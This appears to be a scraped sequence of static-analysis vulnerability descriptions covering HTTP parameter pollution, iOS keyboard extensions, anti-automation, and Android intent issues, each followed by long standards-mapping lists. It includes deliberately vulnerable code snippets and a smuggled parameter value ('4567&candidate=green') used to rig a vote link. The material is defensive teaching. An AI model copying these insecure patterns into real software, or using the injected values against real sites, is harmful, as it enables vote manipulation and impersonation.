Concatenating unvalidated input into a URL can allow an attacker to override the value of a request parameter. Attacker may be able to override existing parameter values, inject a new parameter or exploit variables out of a direct reach.
Explanation
HTTP Parameter Pollution (HPP) attacks consist of injecting encoded query string delimiters into other existing parameters. If a web application does not properly sanitize the user input, a malicious user may compromise the logic of the application to perform either client-side or server-side attacks. By submitting additional parameters to a web application, and if these parameters have the same name as an existing parameter, the web application may react in one of the following ways:

It may only take the data from the first parameter
It may take the data from the last parameter
It may take the data from all parameters and concatenate them together


For example:
- ASP.NET/IIS uses all occurrences of the parameters
- Apache Tomcat uses only the first occurrence and ignores others
- mod_perl/Apache converts the value into an array of values

Example 1: Depending on the application server and the logic of the application itself, the following request might cause confusion to the authentication system and allow an attacker to impersonate another user.
http://www.server.com/login.php?name=alice&name=hacker

Example 2: The following code uses input from an HTTP request to render two hyperlinks.


<%
...
$id = $_GET["id"];
header("Location: http://www.host.com/election.php?poll_id=" . $id);
...
%>


URL: http://www.host.com/election.php?poll_id=4567
Link1: <a href="vote.php?poll_id=4567&candidate=white">Vote for Mr. White<a>
Link2: <a href="vote.php?poll_id=4567&candidate=green">Vote for Mrs. Green<a>

The programmer has not considered the possibility that an attacker could provide a poll_id such as "4567&candidate=green", and then the resulting page will contain the following injected links and hence Mrs. Green will always be voted on an application server which picks the first parameter.
<a href="vote.php?poll_id=4567&candidate=green&candidate=white">Vote for Mr. White<a>
<a href="vote.php?poll_id=4567&candidate=green&candidate=green">Vote for Mrs. Green<a>
References
[1] HTTP Parameter Pollution Luca Carettoni, Independent Researcher & Stefano Di Paola, MindedSecurity
[2] HTTP Parameter Pollution Vulnerabilities in Web Applications Marco `embyte’ Balduzzi
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 235
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.1 Input Validation Requirements (L1 L2 L3), 8.1.3 General Data Protection (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.php.http_parameter_pollution
Abstract
Concatenating unvalidated input into a URL can allow an attacker to override the value of a request parameter. Attacker may be able to override existing parameter values, inject a new parameter or exploit variables out of a direct reach.
Explanation
HTTP Parameter Pollution (HPP) attacks consist of injecting encoded query string delimiters into other existing parameters. If a web application does not properly sanitize the user input, a malicious user may compromise the logic of the application to perform either client-side or server-side attacks. By submitting additional parameters to a web application, and if these parameters have the same name as an existing parameter, the web application may react in one of the following ways:

It may only take the data from the first parameter.
It may take the data from the last parameter.
It may take the data from all parameters and concatenate them together.


For example:
- ASP.NET/IIS uses all occurrences of the parameters
- Apache Tomcat uses only the first occurrence and ignores others
- mod_perl/Apache converts the value into an array of values

Example 1: Depending on the application server and the logic of the application itself, the following request might cause confusion to the authentication system and allow an attacker to impersonate another user.
http://www.server.com/login.php?name=alice&name=hacker

As this shows, the attacker already has name=alice specified, but they've added an additional name=alice&, and if this is being used on a server that takes the first occurrence, then this may impersonate alice in order to get further information regarding her account.
References
[1] HTTP Parameter Pollution Luca Carettoni, Independent Researcher & Stefano Di Paola, MindedSecurity
[2] HTTP Parameter Pollution Vulnerabilities in Web Applications Marco `embyte’ Balduzzi
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 235
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.1 Input Validation Requirements (L1 L2 L3), 8.1.3 General Data Protection (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.ruby.http_parameter_pollution
Abstract
The application allows third party keyboard extensions to be installed.
Explanation
Keyboard extensions are allowed to read every single keystroke that a user enters. Third-party keyboards are normally used to ease the text input or to add additional emojis and they may log what the user enters or even send it to a remote server for processing. Malicious keyboards can also be distributed to act as a keylogger and read every key entered by the user in order to steal sensitive data such as credentials or credit card numbers.
References
[1] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[2] UIApplicationDelegate Apple
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[7] Standards Mapping - Common Weakness Enumeration CWE ID 522, CWE ID 829
[8] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287
[9] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [18] CWE ID 522
[10] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [21] CWE ID 522
[11] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287
[12] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287
[13] Standards Mapping - OWASP Top 10 2021 A04 Insecure Design
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.3 Service Authentication Requirements (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.4 Dependency (L2 L3)
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-3
desc.structural.objc.input_interception_keyboard_extensions_allowed
Abstract
The application allows third party keyboard extensions to be installed.
Explanation
Keyboard extensions are allowed to read every single keystroke that a user enters. Third-party keyboards are normally used to ease the text input or to add additional emojis and they may log what the user enters or even send it to a remote server for processing. Malicious keyboards can also be distributed to act as a keylogger and read every key entered by the user in order to steal sensitive data such as credentials or credit card numbers.
References
[1] UIApplicationDelegate Apple
[2] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[7] Standards Mapping - Common Weakness Enumeration CWE ID 522, CWE ID 829
[8] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287
[9] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [18] CWE ID 522
[10] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [21] CWE ID 522
[11] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287
[12] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287
[13] Standards Mapping - OWASP Top 10 2021 A04 Insecure Design
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.3 Service Authentication Requirements (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.4 Dependency (L2 L3)
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-3
desc.structural.swift.input_interception_keyboard_extensions_allowed
Abstract
Failure to detect and block automated attacks can enable an attacker to conduct brute force attacks or trigger denial of service conditions.
Explanation
All web forms in the application must be protected against automated submissions. An attacker can automatically submit fill and submit registration forms to create fake accounts or overwhelm the database. Contact and messaging forms that do not prevent automated form submissions can be used to spam the application administrators or users. Automated password cracking programs can target login forms with ineffective anti-automation mechanisms. Programmers must always assume that all user interfaces will be abused by attackers in order to find weaknesses.
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[3] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[4] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[5] Standards Mapping - Common Weakness Enumeration CWE ID 799
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.2.1 General Authenticator Requirements (L1 L2 L3)
[7] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Anti-automation (WASC-21)
desc.dynamic.xtended_preview.insufficient_anti_automation
Abstract
Allowing user input to control Intent parameters could enable an attacker to control the behavior of the subsequent activity.
Explanation
An intent manipulation issue occurs when the following two conditions are met:

1. An attacker is able to specify the action, classname, or component of an Android Intent.

For example, an attacker may be able to specify the classname or the component to handle the intent.

2. By specifying the action, classname, or component, the attacker gains a capability that would not otherwise be permitted.

For example, the program may give the attacker the ability to transmit sensitive information to a third-party software on the device.

Example 1: The following code uses an argument read from an HTTP request to set the classname of an intent.


String arg = request.getParameter("arg");
...
Intent intent = new Intent();
...
intent.setClassName(arg);
ctx.startActivity(intent);
...
References
[1] Intent
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - CIS Kubernetes Benchmark partial
[8] Standards Mapping - Common Weakness Enumeration CWE ID 99
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[14] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[15] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[16] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[17] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[18] Standards Mapping - OWASP Top 10 2017 A5 Broken Access Control
[19] Standards Mapping - OWASP Top 10 2021 A01 Broken Access Control
[20] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[21] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[22] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.2.3 - Web Software Access Controls, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.intent_manipulation
Abstract
An implicit internal Intent has been detected. Implicit internal intents might expose the system to man-in-the-middle style attacks on internal components.
Explanation
An internal Intent uses a custom action as defined by an internal component. Implicit intents can facilitate the calling of intents from any given external component without knowledge of the specific component. Combining the two allows for an application to access intents specified for a specific internal use from outside of the desired application context.

The ability to process an internal Intent from an external application can enable for a wide variety of man-in-the-middle exploits ranging in severity from information leakage and denial of service to remote code execution, depending on the capacity of the internal action specified by the Intent.

Example 1: The following code uses an implicit internal Intent.


...
val imp_internal_intent_action = Intent("INTERNAL_ACTION_HERE")
startActivity(imp_internal_intent_action)
...
References
[1] Remediation of Implicit Internal Intent Vulnerability
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 99
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[14] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[45] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.java.intent_manipulation_implicit_internal_intent
Abstract
An implicit PendingIntent has been detected. Implicit pending intents might result in security vulnerabilities such as denial of service, private and system information leakage, and privilege escalation.
Explanation
Android Intents are used to bind applications and application components together by providing instruction on actions that a given component performs. Pending intents are created to deliver the Intent at a later time. Implicit intents facilitate the calling of intents from any given external component, using a general name and filter to determine execution.

When an implicit Intent is created as a PendingIntent, this might allow for the Intent to be sent to an unintended component that runs outside of the intended temporal context, leaving the system vulnerable to exploit vectors such as denial of service, private and system information leakage, and privilege escalation.

Example 1: The following code uses an implicit PendingIntent.


...
val imp_intent = Intent()
val flag_mut = PendingIntent.FLAG_MUTABLE
val pi_flagmutable_impintintent = PendingIntent.getService(
this,
0,
imp_intent,
flag_mut
)
...
References
[1] Remediation for Implicit PendingIntent Vulnerability
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 99
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[14] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
